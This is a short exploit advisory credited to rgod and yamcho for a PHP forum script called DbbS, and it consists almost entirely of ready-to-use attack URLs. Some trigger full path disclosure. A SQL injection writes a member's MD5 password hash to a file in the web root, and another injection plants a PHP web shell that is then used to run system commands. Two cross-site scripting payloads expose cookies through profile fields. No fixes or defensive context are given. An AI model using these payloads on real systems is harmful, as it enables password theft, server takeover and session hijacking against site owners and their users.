Special thanks to rgod for his help!!!

Full path disclosure

http://www.site.com/DbbS/topics.php?fcategoryid='
http://www.site.com/DbbS/script.php?unavariabile[]=
http://www.site.com/DbbS/script.php?GLOBALS[]=
http://www.site.com/DbbS/script.php?_SERVER[]=

MD5 Password

http://www.site.com/DbbS/topics.php?fcategoryid=-999'%20UNION%20SELECT%20null,pass%20INTO%20DUMPFILE'c:\\inetpub\\wwwroot\\dbbs\\test.txt'%20FROM%20forum_membres%20WHERE%20id='1'/*

Create shell

http://www.site.com/DbbS/topics.php?fcategoryid=-999'%20UNION%20SELECT%20null,'<?php%20passthru($_GET[cmd]);?>'%20INTO%20DUMPFILE'c:\\inetpub\\wwwroot\\dbbs\\suntzu.php'%20FROM%20forum_categories/*

Launch a command

http://www.site.com/DbbS/suntzu.php?cmd=dir

XSS

http://www.site.com/DbbS/profile.php?mode=edit&myid=1&ulocation="><script>alert(document.cookie)</script>

http://www.site.com/DbbS/profile.php?mode=edit&myid=1&uhobbies="><script>alert(document.cookie)</script>


by rgod and yamcho